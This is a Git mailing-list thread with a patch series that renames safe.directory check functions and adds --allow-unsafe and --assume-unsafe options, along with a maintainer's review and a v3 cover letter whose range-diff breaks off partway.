 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.c b/setup.c
index 7086741e6c..2c41874774 100644
--- a/setup.c
+++ b/setup.c
@@ -1301,7 +1301,7 @@ static int safe_directory_cb(const char *key, const char *value,
  * config settings; for non-bare repositories, their worktree needs to be
  * added, for bare ones their git directory.
  */
-static int ensure_valid_ownership(const char *gitfile,
+static int ensure_safe_repository(const char *gitfile,
 				  const char *worktree, const char *gitdir,
 				  struct strbuf *report)
 {
@@ -1339,7 +1339,7 @@ void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
 	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
 	const char *path;
 
-	if (ensure_valid_ownership(gitfile, worktree, gitdir, &report))
+	if (ensure_safe_repository(gitfile, worktree, gitdir, &report))
 		return;
 
 	strbuf_complete(&report, '\n');
@@ -1526,7 +1526,7 @@ static enum discovery_result setup_git_directory_gently_1(struct strbuf *dir,
 			const char *gitdir_candidate =
 				gitdir_path ? gitdir_path : gitdirenv;
 
-			if (ensure_valid_ownership(gitfile, dir->buf,
+			if (ensure_safe_repository(gitfile, dir->buf,
 						   gitdir_candidate, report)) {
 				strbuf_addstr(gitdir, gitdirenv);
 				ret = GIT_DIR_DISCOVERED;
@@ -1554,7 +1554,7 @@ static enum discovery_result setup_git_directory_gently_1(struct strbuf *dir,
 			if (get_allowed_bare_repo() == ALLOWED_BARE_REPO_EXPLICIT &&
 			    !is_implicit_bare_repo(dir->buf))
 				return GIT_DIR_DISALLOWED_BARE;
-			if (!ensure_valid_ownership(NULL, NULL, dir->buf, report))
+			if (!ensure_safe_repository(NULL, NULL, dir->buf, report))
 				return GIT_DIR_INVALID_OWNERSHIP;
 			strbuf_addstr(gitdir, ".");
 			return GIT_DIR_BARE;
-- 
2.50.1 (Apple Git-155)

[PATCH v2 2/5] setup: rename `die_upon_assumed_unsafe_repo()` to align with check

[Michael Lohmann]

This function dies if the repo in question is deemed to be unsafe and
the ownership is only part of the verification. In addition it already
checks for "safe.directory" config, making the name
`ensure_valid_ownership()` not expressive.
When additional options to check if a repository is considered to be
safe are added, this name is more indicative of the content.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 builtin/clone.c | 2 +-
 path.c          | 4 ++--
 setup.c         | 2 +-
 setup.h         | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/builtin/clone.c b/builtin/clone.c
index c990f398ef..6faf67dc68 100644
--- a/builtin/clone.c
+++ b/builtin/clone.c
@@ -263,7 +263,7 @@ static void copy_or_link_directory(struct strbuf *src, struct strbuf *dest,
 	 * operation as the hardlinked files can be rewritten at will by the
 	 * potentially-untrusted user. We thus refuse to do so by default.
 	 */
-	die_upon_dubious_ownership(NULL, NULL, src_repo);
+	die_upon_assumed_unsafe_repo(NULL, NULL, src_repo);
 
 	mkdir_if_missing(dest->buf, 0777);
 
diff --git a/path.c b/path.c
index 7f56eaf993..254ba6c02f 100644
--- a/path.c
+++ b/path.c
@@ -810,7 +810,7 @@ const char *enter_repo(const char *path, unsigned flags)
 			return NULL;
 		gitfile = read_gitfile(used_path.buf);
 		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
-			die_upon_dubious_ownership(gitfile, NULL, used_path.buf);
+			die_upon_assumed_unsafe_repo(gitfile, NULL, used_path.buf);
 		if (gitfile) {
 			strbuf_reset(&used_path);
 			strbuf_addstr(&used_path, gitfile);
@@ -822,7 +822,7 @@ const char *enter_repo(const char *path, unsigned flags)
 	else {
 		const char *gitfile = read_gitfile(path);
 		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
-			die_upon_dubious_ownership(gitfile, NULL, path);
+			die_upon_assumed_unsafe_repo(gitfile, NULL, path);
 		if (gitfile)
 			path = gitfile;
 		if (chdir(path))
diff --git a/setup.c b/setup.c
index 2c41874774..69f6d1b36c 100644
--- a/setup.c
+++ b/setup.c
@@ -1333,7 +1333,7 @@ static int ensure_safe_repository(const char *gitfile,
 	return data.is_safe;
 }
 
-void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
+void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
 				const char *gitdir)
 {
 	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
diff --git a/setup.h b/setup.h
index 8522fa8575..25bd5f1e70 100644
--- a/setup.h
+++ b/setup.h
@@ -51,7 +51,7 @@ const char *resolve_gitdir_gently(const char *suspect, int *return_error_code);
  * config settings; for non-bare repositories, their worktree needs to be
  * added, for bare ones their git directory.
  */
-void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
+void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
 				const char *gitdir);
 
 void setup_work_tree(void);
-- 
2.50.1 (Apple Git-155)

[PATCH v2 3/5] setup: refactor `ensure_safe_repository()` testing priorities

[Michael Lohmann]

The implicit ownership test takes precedence over the explicit
allow-listing of a path by "safe.directory" config. Sort by "priority"
(explicitness). This also allows to more easily integrate additional
checks.

Make the explicit safe.directory check take precedence over owner check.

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 setup.c | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/setup.c b/setup.c
index 69f6d1b36c..41a12a85ab 100644
--- a/setup.c
+++ b/setup.c
@@ -1307,12 +1307,6 @@ static int ensure_safe_repository(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
-	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
-	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
-	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
-	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
-		return 1;
-
 	/*
 	 * normalize the data.path for comparison with normalized paths
 	 * that come from the configuration file.  The path is unsafe
@@ -1330,7 +1324,16 @@ static int ensure_safe_repository(const char *gitfile,
 	git_protected_config(safe_directory_cb, &data);
 
 	free(data.path);
-	return data.is_safe;
+	if (data.is_safe)
+		return 1;
+
+	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
+	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
+	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
+	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
+		return 1;
+
+	return 0;
 }
 
 void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
-- 
2.50.1 (Apple Git-155)

[PATCH v2 4/5] setup: allow temporary bypass of `ensure_safe_repository()` checks

[Michael Lohmann]

So far, the only option to allow executing git in what it considers to
be an "unsafe context" is to set this repository as "safe.directory". If
a user only wants to temporarily execute one command, they would need to
set the path as safe, execute the command and then remove the path
again. Forgetting to do the latter would make the user vulnerable if
this repo was changed afterwards in a malicious way.

Allow temporarily bypassing `ensure_safe_repository()` checks with a new
flag "--allow-unsafe" or environment variable "GIT_ALLOW_UNSAFE".

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 Documentation/git.adoc            | 13 +++++++++++++
 environment.h                     |  1 +
 git.c                             |  5 +++++
 setup.c                           | 13 +++++++++++--
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 28 ++++++++++++++++++++++++++++
 6 files changed, 59 insertions(+), 2 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

diff --git a/Documentation/git.adoc b/Documentation/git.adoc
index ce099e78b8..7df51c38f9 100644
--- a/Documentation/git.adoc
+++ b/Documentation/git.adoc
@@ -14,6 +14,7 @@ SYNOPSIS
     [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
     [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
     [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
+    [--allow-unsafe]
     <command> [<args>]
 
 DESCRIPTION
@@ -231,6 +232,12 @@ If you just want to run git as if it was started in `<path>` then use
 	linkgit:gitattributes[5]. This is equivalent to setting the
 	`GIT_ATTR_SOURCE` environment variable.
 
+--allow-unsafe::
+	Temporarily trust the repository regardless of "safe.directory"
+	configuration or ownership, potentially resulting in arbitrary code
+	execution by hooks or configuration settings. Equivalent to setting
+	the environment variable `GIT_ALLOW_UNSAFE=1`.
+
 GIT COMMANDS
 ------------
 
@@ -493,6 +500,12 @@ These environment variables apply to 'all' core Git commands. Nb: it
 is worth noting that they may be used/overridden by SCMS sitting above
 Git so take care if using a foreign front-end.
 
+`GIT_ALLOW_UNSAFE`::
+	This Boolean environment variable can be set to true to skip the
+	safety checks of "safe.directory" configuration and if the user
+	owns the repository before potentially executing arbitrary code
+	from hooks or config.
+
 `GIT_INDEX_FILE`::
 	This environment variable specifies an alternate
 	index file. If not specified, the default of `$GIT_DIR/index`
diff --git a/environment.h b/environment.h
index 51898c99cd..ee9e1b9514 100644
--- a/environment.h
+++ b/environment.h
@@ -42,6 +42,7 @@
 #define GIT_OPTIONAL_LOCKS_ENVIRONMENT "GIT_OPTIONAL_LOCKS"
 #define GIT_TEXT_DOMAIN_DIR_ENVIRONMENT "GIT_TEXTDOMAINDIR"
 #define GIT_ATTR_SOURCE_ENVIRONMENT "GIT_ATTR_SOURCE"
+#define GIT_ALLOW_UNSAFE "GIT_ALLOW_UNSAFE"
 
 /*
  * Environment variable used to propagate the --no-advice global option to the
diff --git a/git.c b/git.c
index c5fad56813..a7581a6805 100644
--- a/git.c
+++ b/git.c
@@ -42,6 +42,7 @@ const char git_usage_string[] =
 	   "           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]\n"
 	   "           [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]\n"
 	   "           [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]\n"
+	   "           [--allow-unsafe]\n"
 	   "           <command> [<args>]");
 
 const char git_more_info_string[] =
@@ -354,6 +355,10 @@ static int handle_options(const char ***argv, int *argc, int *envchanged)
 			setenv(GIT_ADVICE_ENVIRONMENT, "0", 1);
 			if (envchanged)
 				*envchanged = 1;
+		} else if (!strcmp(cmd, "--allow-unsafe")) {
+			setenv(GIT_ALLOW_UNSAFE, "1", 1);
+			if (envchanged)
+				*envchanged = 1;
 		} else {
 			fprintf(stderr, _("unknown option: %s\n"), cmd);
 			usage(git_usage_string);
diff --git a/setup.c b/setup.c
index 41a12a85ab..10975fd9a3 100644
--- a/setup.c
+++ b/setup.c
@@ -1307,6 +1307,9 @@ static int ensure_safe_repository(const char *gitfile,
 {
 	struct safe_directory_data data = { 0 };
 
+	if (git_env_bool("GIT_ALLOW_UNSAFE", 0))
+		return 1;
+
 	/*
 	 * normalize the data.path for comparison with normalized paths
 	 * that come from the configuration file.  The path is unsafe
@@ -1353,7 +1356,10 @@ void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
 	      "%s"
 	      "To add an exception for this directory, call:\n"
 	      "\n"
-	      "\tgit config --global --add safe.directory %s"),
+	      "\tgit config --global --add safe.directory %s\n"
+	      "\n"
+	      "To temporarily bypass safety-checks, run 'git --allow-unsafe <command>'\n"
+	      "or set the environment variable 'GIT_ALLOW_UNSAFE=true'."),
 	    path, report.buf, quoted.buf);
 }
 
@@ -1797,7 +1803,10 @@ const char *setup_git_directory_gently(int *nongit_ok)
 			      "%s"
 			      "To add an exception for this directory, call:\n"
 			      "\n"
-			      "\tgit config --global --add safe.directory %s"),
+			      "\tgit config --global --add safe.directory %s\n"
+			      "\n"
+			      "To temporarily bypass safety-checks, run 'git --allow-unsafe <command>'\n"
+			      "or set the environment variable 'GIT_ALLOW_UNSAFE=true'."),
 			    dir.buf, report.buf, quoted.buf);
 		}
 		*nongit_ok = 1;
diff --git a/t/meson.build b/t/meson.build
index 11376b9e25..c55fb55784 100644
--- a/t/meson.build
+++ b/t/meson.build
@@ -100,6 +100,7 @@ integration_tests = [
   't0033-safe-directory.sh',
   't0034-root-safe-directory.sh',
   't0035-safe-bare-repository.sh',
+  't0036-allow-unsafe-directory.sh',
   't0040-parse-options.sh',
   't0041-usage.sh',
   't0050-filesystem.sh',
diff --git a/t/t0036-allow-unsafe-directory.sh b/t/t0036-allow-unsafe-directory.sh
new file mode 100755
index 0000000000..4b98e815ff
--- /dev/null
+++ b/t/t0036-allow-unsafe-directory.sh
@@ -0,0 +1,28 @@
+#!/bin/sh
+
+test_description='verify safe.directory checks'
+
+. ./test-lib.sh
+
+GIT_TEST_ASSUME_DIFFERENT_OWNER=1
+export GIT_TEST_ASSUME_DIFFERENT_OWNER
+
+expect_rejected_dir () {
+	test_must_fail git status 2>err &&
+	grep "dubious ownership" err
+}
+
+test_expect_success 'safe.directory is not set' '
+	expect_rejected_dir
+'
+
+test_expect_success '--allow-unsafe allows execution in unsafe directory' '
+	git --allow-unsafe status
+'
+
+test_expect_success 'GIT_ALLOW_UNSAFE bool allows unsafe directory' '
+	env GIT_ALLOW_UNSAFE=true \
+	    git status
+'
+
+test_done
-- 
2.50.1 (Apple Git-155)

[PATCH v2 5/5] setup: allow not marking self owned repos as safe in `ensure_safe_repository()`

[Michael Lohmann]

Git considers all repositories as safe, if they are either
 - explicitly set in "safe.directory" config, or
 - the user owns the repo

Since a user could unzip a folder they downloaded from the internet and
unknown to them, it is a repository with malicious hooks/config, an
attacker could easily get code execution. Even a command line prompt
would automatically trigger this if executing `git status` after
entering the malicious directory.

Allow not to automatically treat all repos owned by the user as safe.
This can either be done by "--assume-unsafe", the environment variable
"GIT_ASSUME_UNSAFE" or by setting the configuration "safe.assumeUnsafe"
in a safe context (so not the repo config, as it should not be able to
allow list itself).

Signed-off-by: Michael Lohmann <git@lohmann.sh>
---
 Documentation/config/safe.adoc    |  9 +++++++
 Documentation/git.adoc            | 14 ++++++++++-
 environment.h                     |  1 +
 git.c                             |  6 ++++-
 setup.c                           |  9 +++++++
 t/t0036-allow-unsafe-directory.sh | 42 +++++++++++++++++++++++++++++++
 6 files changed, 79 insertions(+), 2 deletions(-)

diff --git a/Documentation/config/safe.adoc b/Documentation/config/safe.adoc
index 2d45c98b12..d93881d6c0 100644
--- a/Documentation/config/safe.adoc
+++ b/Documentation/config/safe.adoc
@@ -60,3 +60,12 @@ which id the original user has.
 If that is not what you would prefer and want git to only trust
 repositories that are owned by root instead, then you can remove
 the `SUDO_UID` variable from root's environment before invoking git.
+
+safe.assumeUnsafe::
+	Boolean to indicate that the ownership of a repository should not
+	be taken into account when checking if the repository is safe. It
+	will prevent against accidental arbitrary code execution.
++
+To temporarily allow git execution in case of an assumed unsafe repository,
+run the command with `--allow-unsafe`. To permanently trust this path, add
+it to the `safe.directory` config.
diff --git a/Documentation/git.adoc b/Documentation/git.adoc
index 7df51c38f9..e24dafc2a9 100644
--- a/Documentation/git.adoc
+++ b/Documentation/git.adoc
@@ -14,7 +14,7 @@ SYNOPSIS
     [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]
     [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]
     [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]
-    [--allow-unsafe]
+    [--allow-unsafe] [--assume-unsafe]
     <command> [<args>]
 
 DESCRIPTION
@@ -238,6 +238,13 @@ If you just want to run git as if it was started in `<path>` then use
 	execution by hooks or configuration settings. Equivalent to setting
 	the environment variable `GIT_ALLOW_UNSAFE=1`.
 
+--assume-unsafe::
+	Prevent arbitrary code execution by hooks or configuration if not
+	executed in a "safe.directory". With setting this, filesystem ownership
+	of the repository in question no longer satisfies to mark it as safe.
+	Equivalent to setting `GIT_ASSUME_UNSAFE=1`. This is overridden if
+	`--allow-unsafe` is passed as well.
+
 GIT COMMANDS
 ------------
 
@@ -506,6 +513,11 @@ Git so take care if using a foreign front-end.
 	owns the repository before potentially executing arbitrary code
 	from hooks or config.
 
+`GIT_ASSUME_UNSAFE`::
+	This Boolean environment variable can be set to true enforce
+	explicit "safe.directory" configuration for the repository. This
+	can be overridden by setting `GIT_ALLOW_UNSAFE`.
+
 `GIT_INDEX_FILE`::
 	This environment variable specifies an alternate
 	index file. If not specified, the default of `$GIT_DIR/index`
diff --git a/environment.h b/environment.h
index ee9e1b9514..89036a9460 100644
--- a/environment.h
+++ b/environment.h
@@ -43,6 +43,7 @@
 #define GIT_TEXT_DOMAIN_DIR_ENVIRONMENT "GIT_TEXTDOMAINDIR"
 #define GIT_ATTR_SOURCE_ENVIRONMENT "GIT_ATTR_SOURCE"
 #define GIT_ALLOW_UNSAFE "GIT_ALLOW_UNSAFE"
+#define GIT_ASSUME_UNSAFE "GIT_ASSUME_UNSAFE"
 
 /*
  * Environment variable used to propagate the --no-advice global option to the
diff --git a/git.c b/git.c
index a7581a6805..40ef89558d 100644
--- a/git.c
+++ b/git.c
@@ -42,7 +42,7 @@ const char git_usage_string[] =
 	   "           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--no-lazy-fetch]\n"
 	   "           [--no-optional-locks] [--no-advice] [--bare] [--git-dir=<path>]\n"
 	   "           [--work-tree=<path>] [--namespace=<name>] [--config-env=<name>=<envvar>]\n"
-	   "           [--allow-unsafe]\n"
+	   "           [--allow-unsafe] [--assume-unsafe]\n"
 	   "           <command> [<args>]");
 
 const char git_more_info_string[] =
@@ -359,6 +359,10 @@ static int handle_options(const char ***argv, int *argc, int *envchanged)
 			setenv(GIT_ALLOW_UNSAFE, "1", 1);
 			if (envchanged)
 				*envchanged = 1;
+		} else if (!strcmp(cmd, "--assume-unsafe")) {
+			setenv(GIT_ASSUME_UNSAFE, "1", 1);
+			if (envchanged)
+				*envchanged = 1;
 		} else {
 			fprintf(stderr, _("unknown option: %s\n"), cmd);
 			usage(git_usage_string);
diff --git a/setup.c b/setup.c
index 10975fd9a3..0d6cddfcb9 100644
--- a/setup.c
+++ b/setup.c
@@ -1238,6 +1238,12 @@ static int safe_directory_cb(const char *key, const char *value,
 {
 	struct safe_directory_data *data = d;
 
+	if (!strcmp(key, "safe.assumeunsafe")) {
+		if (git_config_bool(key, value))
+			setenv(GIT_ASSUME_UNSAFE, value, 0);
+		return 0;
+	}
+
 	if (strcmp(key, "safe.directory"))
 		return 0;
 
@@ -1330,6 +1336,9 @@ static int ensure_safe_repository(const char *gitfile,
 	if (data.is_safe)
 		return 1;
 
+	if (git_env_bool("GIT_ASSUME_UNSAFE", 0))
+		return 0;
+
 	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
 	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
 	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
diff --git a/t/t0036-allow-unsafe-directory.sh b/t/t0036-allow-unsafe-directory.sh
index 4b98e815ff..3a86336541 100755
--- a/t/t0036-allow-unsafe-directory.sh
+++ b/t/t0036-allow-unsafe-directory.sh
@@ -25,4 +25,46 @@ test_expect_success 'GIT_ALLOW_UNSAFE bool allows unsafe directory' '
 	    git status
 '
 
+test_expect_success '--assume-unsafe prevents execution if not in safe.directory' '
+	sane_unset GIT_TEST_ASSUME_DIFFERENT_OWNER &&
+	git status &&
+	test_must_fail git --assume-unsafe status 2>err &&
+	grep "dubious ownership" err
+'
+test_expect_success 'GIT_ASSUME_UNSAFE prevents execution if not in safe.directory' '
+	test_must_fail env GIT_ASSUME_UNSAFE=1 \
+			   git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe on the command line' '
+	test_must_fail git -c safe.assumeUnsafe="true" status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe in the environment' '
+	test_must_fail env GIT_CONFIG_COUNT=1 \
+	    GIT_CONFIG_KEY_0="safe.assumeUnsafe" \
+	    GIT_CONFIG_VALUE_0="true" \
+	    git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'safe.assumeUnsafe in GIT_CONFIG_PARAMETERS' '
+	test_must_fail env GIT_CONFIG_PARAMETERS="${SQ}safe.assumeUnsafe${SQ}=${SQ}true${SQ}" \
+	    git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'ignoring safe.assumeUnsafe in repo config' '
+	git config safe.assumeUnsafe "false" &&
+	git config --global safe.assumeUnsafe "true" &&
+	test_must_fail git status 2>err &&
+	grep "dubious ownership" err
+'
+
+test_expect_success 'allow-unsafe must override assume-unsafe' '
+	env GIT_ASSUME_UNSAFE=1 git --allow-unsafe status
+'
+
 test_done
-- 
2.50.1 (Apple Git-155)

Re: [PATCH 2/5] setup: rename `die_upon_assumed_unsafe_repo()` to align with check

[Junio C Hamano]

Michael Lohmann <git@lohmann.sh> writes:

> This function dies if the repo in question is deemed to be unsafe and
> the ownership is only part of the verification. In addition it already
> checks for "safe.directory" config, making the name
> `ensure_valid_ownership()` not expressive.
> When additional options to check if a repository is considered to be
> safe are added, this name is more indicative of the content.

The new name chosen in the previous step makes perfect sense, and
the previous step sounds like a good thing to do.  Likewise, I can
understand the reason why we want to rename this helper here, as the
reason why we die no longer is based solely on ownership.

But why "assumed unsafe", instead of just "die_upon_unsafe_repo()"?

Re: [PATCH 3/5] setup: refactor `ensure_safe_repository()` testing priorities

[Junio C Hamano]

Michael Lohmann <git@lohmann.sh> writes:

> The implicit ownership test takes precedence over the explicit
> allow-listing of a path by "safe.directory" config. Sort by "priority"
> (explicitness). This also allows to more easily integrate additional
> checks.
>
> Make the explicit safe.directory check take precedence over owner check.

I do not think the above argument makes much sense, with the code
with or without this patch.

It would be a very different story if the explicit specification
allowed users to configure a set of directories to be rejected, in
which case a user can mark a directory as unsafe even the
ownership-based rules would allow it, and explicit rules may have
higher "priority".

But that is not what safe_directory_cb() does.

In other words, there is no "priority" among the rules considered by
ensure_safe_repository() helper.  At least, with the shape of the
helper function at this step in the series, all rules are equally
capable of declaring a directory "safe".

If you are in later steps (I haven't read them) introducing ways to
say "this and that directories are explicitly forbidden", perhaps
reordering like this should be done at that point.

Alternatively, you can leave the change here in the middle of the
series, but explain the rationale differently, e.g.,

    With the current code, this change does not make any difference
    because there is no explicit rule that lets you reject a
    directory that the ownership-based rule may accept.  In a later
    step in this series, however, we will introduce a mechanism to
    allow such an explicit rule, at which point the order of checks,
    i.e. seeing the explicit rule reject a directory and failing the
    operation before consulting the ownership-based rule, will start
    to matter.  As a preliminary change, reorder the existing
    checks.

or something like that, perhaps.

> Signed-off-by: Michael Lohmann <git@lohmann.sh>
> ---
>  setup.c | 17 ++++++++++-------
>  1 file changed, 10 insertions(+), 7 deletions(-)
>
> diff --git a/setup.c b/setup.c
> index 69f6d1b36c..41a12a85ab 100644
> --- a/setup.c
> +++ b/setup.c
> @@ -1307,12 +1307,6 @@ static int ensure_safe_repository(const char *gitfile,
>  {
>  	struct safe_directory_data data = { 0 };
>  
> -	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
> -	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
> -	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
> -	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
> -		return 1;
> -
>  	/*
>  	 * normalize the data.path for comparison with normalized paths
>  	 * that come from the configuration file.  The path is unsafe
> @@ -1330,7 +1324,16 @@ static int ensure_safe_repository(const char *gitfile,
>  	git_protected_config(safe_directory_cb, &data);
>  
>  	free(data.path);
> -	return data.is_safe;
> +	if (data.is_safe)
> +		return 1;
> +
> +	if (!git_env_bool("GIT_TEST_ASSUME_DIFFERENT_OWNER", 0) &&
> +	    (!gitfile || is_path_owned_by_current_user(gitfile, report)) &&
> +	    (!worktree || is_path_owned_by_current_user(worktree, report)) &&
> +	    (!gitdir || is_path_owned_by_current_user(gitdir, report)))
> +		return 1;
> +
> +	return 0;
>  }
>  
>  void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,

[PATCH v3 0/5] Allow skipping ownership of repo in safety consideration

[Michael Lohmann]

Introduction
------------

As a first step to allow making git more resistant against accidental
arbitrary code execution, Jeff King suggested in

 https://lore.kernel.org/git/20251009224317.77565-1-git@lohmann.sh/T/#m6cce96f9ae58a4341ae3fbbc02110e20547c58bc

to make the "safe.directory" config enforceable.

Note about the different patches
--------------------------------

Patches 1/5 and 2/5 are renaming of functions to clarify their
functionality (especially needed once the additional options to mark
repositories as (un)safe are introduced)

Patch 3/5 is a refactoring that on its own has no change in behavior,
but it makes Patch 5/5 cleaner by it now only adding the check for
"GIT_ASSUME_UNSAFE" in one place instead of having to refactor it in
parallel.

Patch 4/5 adds `--allow-unsafe` flag to temporarily skip the
"safe.directory" checks

Patch 5/5 adds `--assume-unsafe` flag to skip ownership check when
evaluating if a repository is to be considered safe. This allows e.g.
running a command line git status only in repositories explicitly marked
as a "safe.directory" to prevent accidental arbitrary code invocations.

Changes since v2
----------------

Thanks to Junio C Hamano for a thorough review!

* patch 2: rename function with more concise name
* patch 2: fix commit message mentioning function name from patch 1
  instead
* patch 3: clarify that this patch on its own does not make sense, but
  is preparation for a later commit. (Sorry if it took additional time
  to understand the patch - I tried "not to tell the future" with the
  commit message, but an explicit "this is preparation for a later
  patch" is much better)
* patch 5: add missing newline in test

Note: I accidentally replied to the review comment with v2 instead of
the cover letter:

 https://lore.kernel.org/git/20251013214608.33581-1-git@lohmann.sh/#t

Tests
-----

Ran all tests. On my setup even on the main branch
t/t3900-i18n-commit.sh is failing the three test cases on ISO-2022-JP.
Since no code related to commit or i18n was changed, it is very unlikely
that this patch set has any impact on said tests.

Range-diff since v2
-------------------

Michael Lohmann (5):
  setup: rename `ensure_safe_repository()` for clarity
  setup: rename `die_upon_unsafe_repo()` to align with check
  setup: refactor `ensure_safe_repository()` testing priorities
  setup: allow temporary bypass of `ensure_safe_repository()` checks
  setup: allow not marking self owned repos as safe in
    `ensure_safe_repository()`

 Documentation/config/safe.adoc    |  9 ++++
 Documentation/git.adoc            | 25 +++++++++++
 builtin/clone.c                   |  2 +-
 environment.h                     |  2 +
 git.c                             |  9 ++++
 path.c                            |  4 +-
 setup.c                           | 45 ++++++++++++++------
 setup.h                           |  2 +-
 t/meson.build                     |  1 +
 t/t0036-allow-unsafe-directory.sh | 71 +++++++++++++++++++++++++++++++
 10 files changed, 154 insertions(+), 16 deletions(-)
 create mode 100755 t/t0036-allow-unsafe-directory.sh

Range-diff against v2:
1:  3f8805eb96 = 1:  5d886c0461 setup: rename `ensure_safe_repository()` for clarity
2:  aa09159dec ! 2:  6fbbf4185d setup: rename `die_upon_assumed_unsafe_repo()` to align with check
    @@ Metadata
     Author: Michael Lohmann <git@lohmann.sh>
     
      ## Commit message ##
    -    setup: rename `die_upon_assumed_unsafe_repo()` to align with check
    +    setup: rename `die_upon_unsafe_repo()` to align with check
     
         This function dies if the repo in question is deemed to be unsafe and
         the ownership is only part of the verification. In addition it already
         checks for "safe.directory" config, making the name
    -    `ensure_valid_ownership()` not expressive.
    +    `die_upon_dubious_ownership()` not expressive.
         When additional options to check if a repository is considered to be
         safe are added, this name is more indicative of the content.
     
    +    Helped-by: Junio C Hamano <gitster@pobox.com>
         Signed-off-by: Michael Lohmann <git@lohmann.sh>
     
      ## builtin/clone.c ##
    @@ builtin/clone.c: static void copy_or_link_directory(struct strbuf *src, struct s
      	 * potentially-untrusted user. We thus refuse to do so by default.
      	 */
     -	die_upon_dubious_ownership(NULL, NULL, src_repo);
    -+	die_upon_assumed_unsafe_repo(NULL, NULL, src_repo);
    ++	die_upon_unsafe_repo(NULL, NULL, src_repo);
      
      	mkdir_if_missing(dest->buf, 0777);
      
    @@ path.c: const char *enter_repo(const char *path, unsigned flags)
      		gitfile = read_gitfile(used_path.buf);
      		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
     -			die_upon_dubious_ownership(gitfile, NULL, used_path.buf);
    -+			die_upon_assumed_unsafe_repo(gitfile, NULL, used_path.buf);
    ++			die_upon_unsafe_repo(gitfile, NULL, used_path.buf);
      		if (gitfile) {
      			strbuf_reset(&used_path);
      			strbuf_addstr(&used_path, gitfile);
    @@ path.c: const char *enter_repo(const char *path, unsigned flags)
      		const char *gitfile = read_gitfile(path);
      		if (!(flags & ENTER_REPO_ANY_OWNER_OK))
     -			die_upon_dubious_ownership(gitfile, NULL, path);
    -+			die_upon_assumed_unsafe_repo(gitfile, NULL, path);
    ++			die_upon_unsafe_repo(gitfile, NULL, path);
      		if (gitfile)
      			path = gitfile;
      		if (chdir(path))
    @@ setup.c: static int ensure_safe_repository(const char *gitfile,
      }
      
     -void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
    -+void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
    ++void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
      				const char *gitdir)
      {
      	struct strbuf report = STRBUF_INIT, quoted = STRBUF_INIT;
    @@ setup.h: const char *resolve_gitdir_gently(const char *suspect, int *return_erro
       * added, for bare ones their git directory.
       */
     -void die_upon_dubious_ownership(const char *gitfile, const char *worktree,
    -+void die_upon_assumed_unsafe_repo(const char *gitfile, const char *worktree,
    ++void die_upon_unsafe_repo(const char *gitfile, const char *worktree,
      				const char *gitdir);
      
      void setup_work_tree(void);
3:  ad4f64fdb8 ! 3:  1925b3f093 setup: refactor `ensure_safe_repository()` testing priorities
    @@ Metadata
      ## Commit message ##
         setup: refactor `ensure_safe_repository()` testing priorities
     
    -    The implicit ownership test takes precedence over the explicit
    -    allow-listing of a path by "safe.directory" config. Sort by "priority"
    -    (explicitness). This also allows to more easily integrate additional
    -    checks.
    -
    -    Make the explicit safe.directory check take precedence over owner check.
    +    With the current code, this change does not make any difference because
    +    there is no explicit rule that lets you reject a directory that the
    +    ownership-based rule may accept.  In a later step in this series,
    +    however, we will introduce a mechanism to allow such an explicit rule,
    +    at which point the order of checks, i.e. seeing the explicit rule reject
